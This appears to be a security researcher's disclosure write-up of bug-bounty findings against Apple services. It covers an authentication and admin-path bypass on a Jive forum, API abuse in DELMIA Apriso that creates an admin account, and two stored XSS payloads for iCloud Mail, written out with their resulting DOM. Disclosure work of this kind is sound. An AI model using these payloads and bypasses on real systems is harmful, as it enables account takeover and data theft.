<td class="has-text-align-center" data-align="center">
743695576
</td>
<td class="has-text-align-center" data-align="center">
8/14/2020
</td>
<td class="has-text-align-center" data-align="center">
Wormable Stored XSS allows Attacker to Fully Compromise Victim iCloud Account
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
742909161
</td>
<td class="has-text-align-center" data-align="center">
8/7/2020
</td>
<td class="has-text-align-center" data-align="center">
Full Response SSRF allows Attacker to Read Internal Source Code and Access Protected Resources
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
<tr class="" role="row">
<td class="has-text-align-center" data-align="center">
745400606
</td>
<td class="has-text-align-center" data-align="center">
9/1/2020
</td>
<td class="has-text-align-center" data-align="center">
Blind XSS allows Attacker to Access Internal Support Portal for Customer and Employee Issue Tracking
</td>
<td class="has-text-align-center" data-align="center">
Critical
</td>
</tr>
</tbody>
</table>
<div id="findings_info" class="dataTables_info" role="status" aria-live="polite">
Showing 1 to 10 of 54 entries
</div>
<div id="findings_paginate" class="dataTables_paginate paging_simple_numbers">
<a id="findings_previous" class="paginate_button previous disabled" tabindex="0" aria-controls="findings" data-dt-idx="0"></a>Previous<a class="paginate_button current" tabindex="0" aria-controls="findings" data-dt-idx="1">1</a><a class="paginate_button" tabindex="0" aria-controls="findings" data-dt-idx="2">2</a><a class="paginate_button" tabindex="0" aria-controls="findings" data-dt-idx="3">3</a><a class="paginate_button" tabindex="0" aria-controls="findings" data-dt-idx="4">4</a><a class="paginate_button" tabindex="0" aria-controls="findings" data-dt-idx="5">5</a><a class="paginate_button" tabindex="0" aria-controls="findings" data-dt-idx="6">6</a><a id="findings_next" class="paginate_button next" tabindex="0" aria-controls="findings" data-dt-idx="7"></a>Next
</div>
</div>
<p>
<script>
<![CDATA[
jQuery(document).ready(function($) { $('#findings').DataTable({"columnDefs": [{ "targets": [ 4 ], "visible": false, "searchable": false }], "order": [[4,"asc"]] }); });
]]>
</script>
</p>
<h2>
Vulnerability Write-Ups
</h2>
<p>
We cant write about all the vulnerabilities we discovered, but here is a sample of some of the more interesting vulnerabilities.
</p>
<ol>
<li>
<a href="#vuln1">Full Compromise of Apple Distinguished Educators Program via Authentication and Authorization Bypass</a>
</li>
<li>
<a href="#vuln2">Full Compromise of DELMIA Apriso Application via Authentication Bypass</a>
</li>
<li>
<a href="#vuln3">Wormable Stored Cross-Site Scripting Vulnerabilities Allow Attacker to Steal iCloud Data through a Modified Email</a>
</li>
<li>
<a href="#vuln4">Command Injection in Authors ePublisher</a>
</li>
<li>
<a href="#vuln5">Full Response SSRF on iCloud allows Attacker to Retrieve Apple Source Code</a>
</li>
<li>
<a href="#vuln6">Nova Admin Debug Panel Access via REST Error Leak</a>
</li>
<li>
<a href="#vuln7">AWS Secret Keys via PhantomJS iTune Banners and Book Title XSS</a>
</li>
<li>
<a href="#vuln8">Heap Dump on Apple eSign Allows Attacker to Compromise Various External Employee Management Tools</a>
</li>
<li>
<a href="#vuln9">XML External Entity processing to Blind SSRF on Java Management API</a>
</li>
<li>
<a href="#vuln10">GBI Vertica SQL Injection and Exposed GSF API</a>
</li>
<li>
<a href="#vuln11">Various IDOR Vulnerabilities</a>
</li>
<li>
<a href="#vuln12">Various Blind XSS Vulnerabilities</a>
</li>
</ol>
<div id="vuln1" class="section">
<h2>
Full Compromise of Apple Distinguished Educators Program via Authentication and Authorization Bypass
</h2>
<p>
One of the first services we spent time hacking was the “Apple Distinguished Educators” site. This was an invitation-only Jive forum where users could authenticate using their Apple account. Something interesting about this forum was that some of the core Jive functionality to register to the app was ported through a custom middleware page built by Apple in order to connect their authentication system (IDMSA) to the underlying Jive forum which normally used username/password authentication.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" class="alignnone size-full wp-image-1509" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/untitled.png" alt="" width="441" height="167" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/untitled.png 441w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/untitled-300x114.png 300w" sizes="(max-width: 441px) 100vw, 441px" />
</figure>
<p>
This was built to allow users to easily use their already existing Apple account to authenticate to the forum and not have to deal with creating an additional user account. You would simply use the “Sign In With Apple” and be logged into the forum.
</p>
<p>
The landing page for users who were not allowed to access the forum was an application portal where you provided information about yourself that was assessed by the forum moderators for approval.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1002" height="288" class="wp-image-1258" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_reg_upda.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_reg_upda.png 1002w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_reg_upda-300x86.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_reg_upda-768x221.png 768w" sizes="(max-width: 1002px) 100vw, 1002px" />
</figure>
<p>
When you submitted an application to use the forum, you supplied nearly all of the values of your account as if you were registering to the Jive forum normally. This would allow the Jive forum to know who you were based on your IDMSA cookie since it tied your email address belonging to your Apple account to the forum.
</p>
<p>
One of the values that was hidden on the page within the application to register to use the forum was a “password” field with the value “<em>###INvALID#%!3</em>”. When you submitted your application that included your username, first and last name, email address, and employer, you were also submitting a “password” value which was then secretly tied to your account sourced from a hidden input field on the page.
</p>
<pre class="wp-block-code"><code>&lt;div class="j-form-row"&gt;
&lt;input id="password" type="hidden" value="###INvALID#%!3"&gt;
&lt;div id="jive-pw-strength"&gt;
...</code></pre>
<p>
After observing the hidden default password field, we immediately had the idea to find a way to manually authenticate to the application and access an approved account for the forum instead of attempting to login using the “Sign In With Apple” system. We investigated this because the password was the same for each one of us on our separate registrations.
</p>
<p>
If anyone had applied using this system and there existed functionality where you could manually authenticate, you could simply login to their account using the default password and completely bypass the "Sign In With Apple" login.
</p>
<p>
From a quick glance, it did not appear that you could manually authenticate, but after a few Google searches we identified a “cs_login” endpoint which was meant for logging in with a username and password to Jive applications. When we manually formed the test HTTP request to authenticate to the Apple Distinguished Developers application, we found that it attempted to authenticate us by displaying an incorrect password error. When we used our own accounts that we had previously applied with, the application errored out and did not allow us to authenticate as we were not yet approved. We would have to find the username of an already approved member if we wanted to authenticate.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="501" height="221" class="wp-image-1178" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_authentication.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_authentication.png 501w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_authentication-300x132.png 300w" sizes="(max-width: 501px) 100vw, 501px" />
</figure>
<p>
At this point, we loaded the HTTP request into Burp Suites intruder and attempted to brute force usernames between 1 and 3 characters via the login and default password.
</p>
<p>
After about two minutes we received a 302 response indicating a successful login to a user with a 3 character username using the default password we found earlier. We were in! From this point, our next goal was to authenticate as someone with elevated permissions. We took a few screenshots of our access and clicked the “Users” list to view which users were administrators. We logged into the first account we saw on the list in an attempt to prove we could achieve remote code execution via the administrative functionality, however, there were still a few roadblocks ahead.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="529" class="wp-image-1187" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_x-1024x529.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_x-1024x529.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_x-300x155.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_x-768x397.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_x.png 1039w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<p>
When attempting to browse to “/admin/” (the Jive administrator console) as the admin account, the application redirected to login as if we were not yet authenticated. This was strange, as it was custom behavior for the Jive application and none of us had observed this before. Our guess was that Apple had restricted the administration console based on IP address to make sure that there was never a full compromise of the application.
</p>
<p>
One of the first things we tried was using the X-Forwarded-For header to bypass the hypothetical restriction, but sadly that failed. The next thing we tried was to load a different form of “/admin/” in-case the application had path specific blacklists for accessing the administrator console.
</p>
<p>
After just a few more HTTP requests, we figured out that “GET /admin;/” would allow an attacker to access the administration console. We automated this bypass by setting up a Burp Suite rule which automatically changed “GET/POST /admin/” to “GET/POST /admin;/” in our HTTP requests.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="675" height="140" class="wp-image-1268" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/match_and_replace.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/match_and_replace.png 675w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/match_and_replace-300x62.png 300w" sizes="(max-width: 675px) 100vw, 675px" />
</figure>
<p>
When we finally navigated and loaded the administration console, it was immediately clear that something wasnt right. We did not have access to the normal functionality that would demonstrate remote code execution (there was no templating, plugin upload, nor the standard administrative debugging functionality).
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="388" class="wp-image-1180" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/welcome_to_jive-1024x388.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/welcome_to_jive-1024x388.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/welcome_to_jive-300x114.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/welcome_to_jive-768x291.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/welcome_to_jive.png 1361w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<p>
At this point, we stopped to think about where we were and realized that the account we authenticated to may not be the “core” administrator of the application. We went ahead and authenticated to 2-3 more accounts before finally authenticating as the core administrator and seeing functionality that would allow for remote code execution.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="477" class="wp-image-1182" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_home-1024x477.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_home-1024x477.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_home-300x140.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_home-768x358.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_home.png 1102w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<p>
An attacker could (1) bypass the authentication by manually authenticating using a hidden default login functionality, then (2) access the administration console via sending a modified HTTP path in the request, and finally (3) completely compromise the application by using the one of many “baked in RCE” functionalities like plugin upload, templating, or file management.
</p>
<p>
Overall, this would've allowed an attacker to...
</p>
<ul>
<li>Execute arbitrary commands on the ade.apple.com webserver
</li>
<li>Access the internal LDAP service for managing user accounts
</li>
<li>Access the majority of Apple's internal network
</li>
</ul>
<p>
At this point, we finished the report and submitted everything.
</p>
</div>
<div id="vuln2" class="section">
<h2>
Full Compromise of DELMIA Apriso Application via Authentication Bypass
</h2>
<p>
Something we had thought about a lot while hacking Apple was whether or not they had any accessible services relating to the manufacturing and distribution of their products. As it turns out, there was an application called "DELMIA Apriso" which was a third-party "Global Manufacturing Suite" which provided what appeared to be various warehouse solutions.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="854" height="345" class="wp-image-1365" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/DELMIA_Apriso_2016_ProductMap_000.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/DELMIA_Apriso_2016_ProductMap_000.png 854w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/DELMIA_Apriso_2016_ProductMap_000-300x121.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/DELMIA_Apriso_2016_ProductMap_000-768x310.png 768w" sizes="(max-width: 854px) 100vw, 854px" />
</figure>
<p>
Sadly, there did not appear to be much available interaction for the technology as you could only "login" and "reset password" from the available interfaces.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="364" class="wp-image-1352" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/colormasters-1024x364.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/colormasters-1024x364.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/colormasters-300x107.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/colormasters-768x273.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/colormasters.png 1197w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<p>
After attempting to find vulnerabilities on the limited number of pages, something strange happened: we were authenticated as a user called "Apple No Password User" based on a bar which appeared in the upper right portion of the site.
</p>
<div class="wp-block-image">
<figure class="aligncenter size-large">
<img loading="lazy" width="536" height="79" class="wp-image-1354" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/app_no_pw.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/app_no_pw.png 536w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/app_no_pw-300x44.png 300w" sizes="(max-width: 536px) 100vw, 536px" />
</figure>
</div>
<p>
What had happened was that, by clicking "Reset Password", we were temporarily authenticated as a user who had "Permission" to use the page.
</p>
<p>
The application's authentication model worked whereas users had specific permissions to use specific pages. The "reset password" page counted as a page itself, so in order to let us use it, the application automatically logged us into an account that was capable of using the page.
</p>
<p>
We attempted a variety of things in order to elevate our permissions but didn't seem to get anywhere for a long time. After a while, we sent an HTTP request to an OAuth endpoint in an attempt to generate an authorization bearer that we could use to explore the API. This was successful!
</p>
<p>
Our user account, even though its permissions were intended to be limited to authorization and resetting our password, could generate a bearer which had permission to access the API version of the application.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="179" class="wp-image-1355" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/req-rez-1024x179.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/req-rez-1024x179.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/req-rez-300x53.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/req-rez-768x134.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/req-rez-1536x269.png 1536w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/req-rez-1600x280.png 1600w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/req-rez.png 1891w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<p>
We were now able to explore the API and hopefully find some permission issue which would allow us to compromise some portion of the application. Luckily, during our recon process, we found a list of API requests for the application.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1000" height="639" class="wp-image-1357" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/web_api_ref.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/web_api_ref.png 1000w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/web_api_ref-300x192.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/web_api_ref-768x491.png 768w" sizes="(max-width: 1000px) 100vw, 1000px" />
</figure>
<p>
We sadly did not have access to the majority of the API calls, but some sections like "Operations" disclosed a massive number of available functionalities.
</p>
<p>
If you hit the "/Apriso/HttpServices/api/platform/1/Operations" endpoint, it would return a list of nearly 5,000 different API calls. None of these required authentication beyond the initial authorization bearer we initially sent. The operations disclosed here included things like...
</p>
<ul>
<li>Creating and modifying shipments
</li>
<li>Creating and modifying employee paydays
</li>
<li>Creating and modifying inventory information
</li>
<li>Validating employee badges
</li>
<li>Hundreds of warehouse related operations
</li>
</ul>
<p>
The one that we paid most attention to was "APL_CreateEmployee_SO".
</p>
<p>
You could send a GET request to the specific operations and receive the expected parameters using the following format:
</p>
<pre class="wp-block-code"><code>GET /Apriso/HttpServices/api/platform/1/Operations/operation HTTP/1.1
Host: colormasters.apple.com</code></pre>
<p>
With the following HTTP response:
</p>
<pre class="wp-block-code"><code>{
"InputTypes": {
"OrderNo": "Char",
"OrderType": "Integer",
"OprSequenceNo": "Char",
"Comments": "Char",
"strStatus": "Char",
"UserName": "Char"
},
"OutputTypes": {},
"OperationCode": "APL_Redacted",
"OperationRevision": "APL.I.1.4"
}</code></pre>
<p>
It took a bit of time, but after a while we realized that in order to actually call the API you had to send a POST request with JSON data in the following format:
</p>
<pre class="wp-block-code"><code>{
"inputs": {
"param": "value"
}
}</code></pre>
<p>
The above format (after the fact) appears very simple and easy to understand, but at the time of hacking we had absolutely no idea how to form this call. I had even tried emailing the company who provided the software asking how you were supposed to form these API calls, but they wouldn't respond to my email because I didn't have a subscription to the service.
</p>
<p>
I'd spent nearly 6 hours trying to figure out how to form the above API call, but after we figured it out, it was very much smooth sailing. The "create employee" function required various parameters that relied on UUIDs, but we were able to retrieve these via the other "Operations" and fill them in as we went along.
</p>
<p>
About two hours more, we finally formed the following API request:
</p>
<pre class="wp-block-code"><code>POST /Apriso/HttpServices/api/platform/1/Operations/redacted HTTP/1.1
Host: colormasters.apple.com
Authorization: Bearer redacted
Connection: close
Content-Type: application/json
Content-Length: 380
{
"inputs": {
"Name": "Samuel Curry",
"EmployeeNo": "redacted",
"LoginName": "yourloginname123",
"Password": "yourpassword123",
"LanguageID": "redacted",
"AddressID": "redacted",
"ContactID": "redacted",
"DefaultFacility": "redacted",
"Department": "",
"DefaultMenuItemID": "redacted",
"RoleName": "redacted",
"WorkCenter": ""
}
}</code></pre>
<p>
After we sent this API call, we could now authenticate as a global administrator to the application. This gave us full oversight to the warehouse management software and probably RCE via some accepted functionality.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="1024" height="469" class="wp-image-1361" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/memrz-1024x469.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/memrz-1024x469.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/memrz-300x137.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/memrz-768x352.png 768w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/10/memrz.png 1507w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<p>
There were hundreds of different functionalities that would've caused massive information disclosure and been capable of disrupting what appeared to be a somewhat crucial application used for inventory and warehouse management.
</p>
<figure class="wp-block-image size-large"></figure>
</div>
<div id="vuln3" class="section">
<h2>
Wormable Stored Cross-Site Scripting Vulnerabilities Allow Attacker to Steal iCloud Data through a Modified Email
</h2>
<p>
One of the core parts of Apples infrastructure is their iCloud platform. This website works as an automatic storage mechanism for photos, videos, documents, and app related data for Apple products. Additionally, this platform provides services like Mail and Find my iPhone.
</p>
<p>
The mail service is a full email platform where users can send and receive emails similar to Gmail and Yahoo. Additionally, there is a mail app on both iOS and Mac which is installed by default on the products. The mail service is hosted on “www.icloud.com” alongside all of the other services like file and document storage.
</p>
<p>
This meant, from an attackers perspective, that any cross-site scripting vulnerability would allow an attacker to retrieve whatever information they wanted to from the iCloud service. We began to look for any cross-site scripting issues at this point.
</p>
<p>
The way the mail application works is very straightforward. When the service receives an email and a user opens it, the data is processed into a JSON blob which is sanitized and picked apart by JavaScript and then displayed to the user.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="600" height="419" class="wp-image-1190" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/icloud-mail.jpg" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/icloud-mail.jpg 600w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/icloud-mail-300x210.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" />
</figure>
<p>
This means that there is no server side processing of the emails in terms of content sanitation, and that all of the actual functionality to render and process the mail body is within the JavaScript where its done client side. This isnt necessarily a bad thing, but simplifies the process of identifying XSS by understanding what specifically well need to break within the source code.
</p>
<h3>
Stored XSS via Style Tag Confusion
</h3>
<p>
When testing this functionality one of the things I eventually messed with was the “&lt;style&gt;” tag. This tag is interesting as the DOM will only cancel this element with an end “&lt;/style&gt;” tag. This means that if we wrote “&lt;style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/style&gt;” and it was fully rendered in the DOM, there would be no alert prompt as the content of the tag is strictly CSS and the script tag was stuffed within the tag and not beyond the closing tag.
</p>
<p>
From a sanitization perspective, the only things Apple would need to worry about here would be an ending style tag, or if there was sensitive information on the page, CSS injection via import chaining.
</p>
<p>
I decided to focus on trying to break out of the style tag without Apple realizing it since it would be a very straightforward stored XSS if achievable.
</p>
<p>
I played around with this for a while trying various permutations and eventually observed something interesting: when you had two style tags within the email, the contents of the style tags would be concatenated together into one style tag. This meant that if we could get “&lt;/sty” into the first tag and “le&gt;” into the second tag, it would be possible to trick the application into thinking our tag was still open when it really wasnt.
</p>
<p>
I sent the following payload to test if it would work:
</p>
<pre class="wp-block-code"><code>&lt;style&gt;&lt;/sty&lt;/style&gt;
&lt;style&gt;le&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/style&gt;</code></pre>
<p>
The email popped up in my inbox. I clicked it. There was an alert prompt! It had worked!
</p>
<div class="wp-block-image">
<figure class="aligncenter size-large">
<img loading="lazy" width="646" height="340" class="wp-image-1193" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/alert-1.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/alert-1.png 646w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/alert-1-300x158.png 300w" sizes="(max-width: 646px) 100vw, 646px" />
</figure>
</div>
<p>
The DOM of the page included the following:
</p>
<pre class="wp-block-code"><code>&lt;style&gt;&lt;/style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/style&gt;</code></pre>
<p>
Since the mail application is hosted on “www.icloud.com” this meant that we had browser permissions to retrieve the HTTP responses for the corresponding APIs for the iCloud service (if we could sneak in the JavaScript to reach out to them).
</p>
<p>
An explanation of the above payload is as follows:
</p>
<div class="wp-block-image">
<figure class="aligncenter size-large">
<img loading="lazy" width="311" height="231" class="wp-image-1245" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram_explan.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram_explan.png 311w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram_explan-300x223.png 300w" sizes="(max-width: 311px) 100vw, 311px" />
</figure>
</div>
<p>
At this point we decided the coolest proof of concept would be something which steals all of the victims personal information (photos, calendar information, and documents) then forwards the same exploit to all of their contacts.
</p>
<div class="wp-block-image"></div>
<p>
We built a neat PoC which would return the photo URLs from the iCloud API, stick them into image tags, and then append a list of contacts for the user account underneath them. This demonstrated that it was possible to retrieve the values, but in order to exfiltrate them we would have to bypass a CSP which meant no easy outbound HTTP requests to anything but “.apple.com” and a few other domains.
</p>
<p>
Luckily for us, the service is a mail client. We can simply use JavaScript to invoke an email to ourselves, attach the iCloud photo URLs and contacts, then fire away all of the victims signed iCloud photo and document URLs.
</p>
<p>
The following video demonstrates a proof of concept whereas a victims photos are stolen. In a full exploitation scenario performed by a malicious party, an attacker could silently steal all of the victims photos, videos, and documents, then forward the modified email to the victims contact list and worm the cross-site scripting payload against the iCloud mail service.
</p>
<p>
<iframe title="Proof of Concept" width="688" height="387" src="https://www.youtube.com/embed/jclY-s2kJ7E?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="allowfullscreen"></iframe>
</p>
<h3>
Stored XSS via Hyperlink Confusion
</h3>
<p>
Later on I found a second cross-site scripting vulnerability affecting mail in a similar fashion.
</p>
<p>
One thing Ill always check with these sorts of semi-HTML applications is how they handle hyperlinks. It seems intuitive to automatically turn an unmarked URL into a hyperlink, but it can get messy if it isnt being sanitized properly or is combined with other functionalities. This is a common place to look for XSS due to the reliance on regex, innerHTML, and all of the accepted elements you can add alongside the URL.
</p>
<p>
The second piece of interesting functionality for this XSS is the total removal of certain tags like “&lt;script&gt;” and “&lt;iframe&gt;”. This one is neat because certain things will rely on characters like space, tabs, and new lines whereas the void left by the removed tag can provide those characters without telling the JavaScript parser. These indifferences allow for attackers to confuse the application and sneak in malicious characters which can invoke XSS.
</p>
<p>
I played around with both of these functionalities for a while (automatic hyperlinking and the total removal of certain tags) until deciding to combine the two and attempt to see how they behaved together. To my surprise, the following string broke the hyperlinking functionality and confused the DOM:
</p>
<pre class="wp-block-code"><code>https://www.domain.com/abc#&lt;script&gt;&lt;/script&gt;https://domain.com/abc</code></pre>
<p>
After sending the above by itself within an email, the content was parsed to the following:
</p>
<pre class="wp-block-code"><code>&lt;a href="https://www.domain.com/abc#&lt;a href=" https:="" www.domain.com="" abc="&amp;quot;" rel="noopener noreferrer"&gt;https://www.domain.com/abc&lt;/a&gt;</code></pre>
<p>
This was very interesting to see initially, but exploiting it would be a bit harder. It is easy to define the attributes within the tag (e.g. src, onmouseover, onclick, etc.) but providing the values would be difficult as we still had to match the URL regex so it wouldnt escape the automatic hyperlinking functionality. The payload that eventually worked without sending single quotes, double quotes, parenthesis, spaces, or backticks was the following:
</p>
<pre class="wp-block-code"><code>https://www.icloud.com/mail/#&lt;script&gt;&lt;/script&gt;https://www.icloud.com/onmouseover=location=/javascript:alert%28document.domain%29/.source;//</code></pre>
<p>
The payload produced this in the DOM:
</p>
<pre class="wp-block-code"><code>&lt;a href="https://www.icloud.com/mail#&lt;a href=" https:="" www.icloud.com="" onmouseover="location=/javascript:alert%28document.domain%29/.source;//&amp;quot;"&gt;https://www.icloud.com/onmouseover=location=/javascript:alert%28document.domain%29/.source;//&lt;/a&gt;</code></pre>
<p>
And gave us this beautiful alert prompt:
</p>
<div class="wp-block-image">
<figure class="aligncenter size-large">
<img loading="lazy" width="795" height="430" class="wp-image-1195" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/2nd_xss.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/2nd_xss.png 795w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/2nd_xss-300x162.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/2nd_xss-768x415.png 768w" sizes="(max-width: 795px) 100vw, 795px" />
</figure>
</div>
<p>
This payload was from a CTF solution by @Blaklis_. I had originally thought it might be an unexploitable XSS, but there seems to always be a solution somewhere for edge case XSS.
</p>
<div class="twitter-tweet twitter-tweet-rendered" style="display: flex; max-width: 550px; width: 100%; margin-top: 10px; margin-bottom: 10px;">
<iframe id="twitter-widget-1" scrolling="no" frameborder="0" allowtransparency="true" allowfullscreen="true" class="" style="position: static; visibility: visible; width: 550px; height: 640px; display: block; flex-grow: 1;" title="Twitter Tweet" src="https://platform.twitter.com/embed/index.html?dnt=true&amp;embedId=twitter-widget-1&amp;frame=false&amp;hideCard=false&amp;hideThread=false&amp;id=1125663871056928769&amp;lang=en&amp;origin=https%3A%2F%2Fsamcurry.net%2Fhacking-apple%2F&amp;theme=light&amp;widgetsVersion=ed20a2b%3A1601588405575&amp;width=550px" data-tweet-id="1125663871056928769" name="twitter-widget-1"></iframe>
</div>
<script async="async" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>
My best explanation here is that (1) when loading the initial URL the characters within the “&lt;script&gt;&lt;/script&gt;” were acceptable within the automatic hyperlinking process and didnt break it, then (2) the removal of the script tags created a space or some sort of void which reset the automatic hyperlinking functionality without closing the initial hyperlinking functionality, and lastly (3) the second hyperlink added the additional quote that was used to both break out of the href and create the onmouseover event handler.
</p>
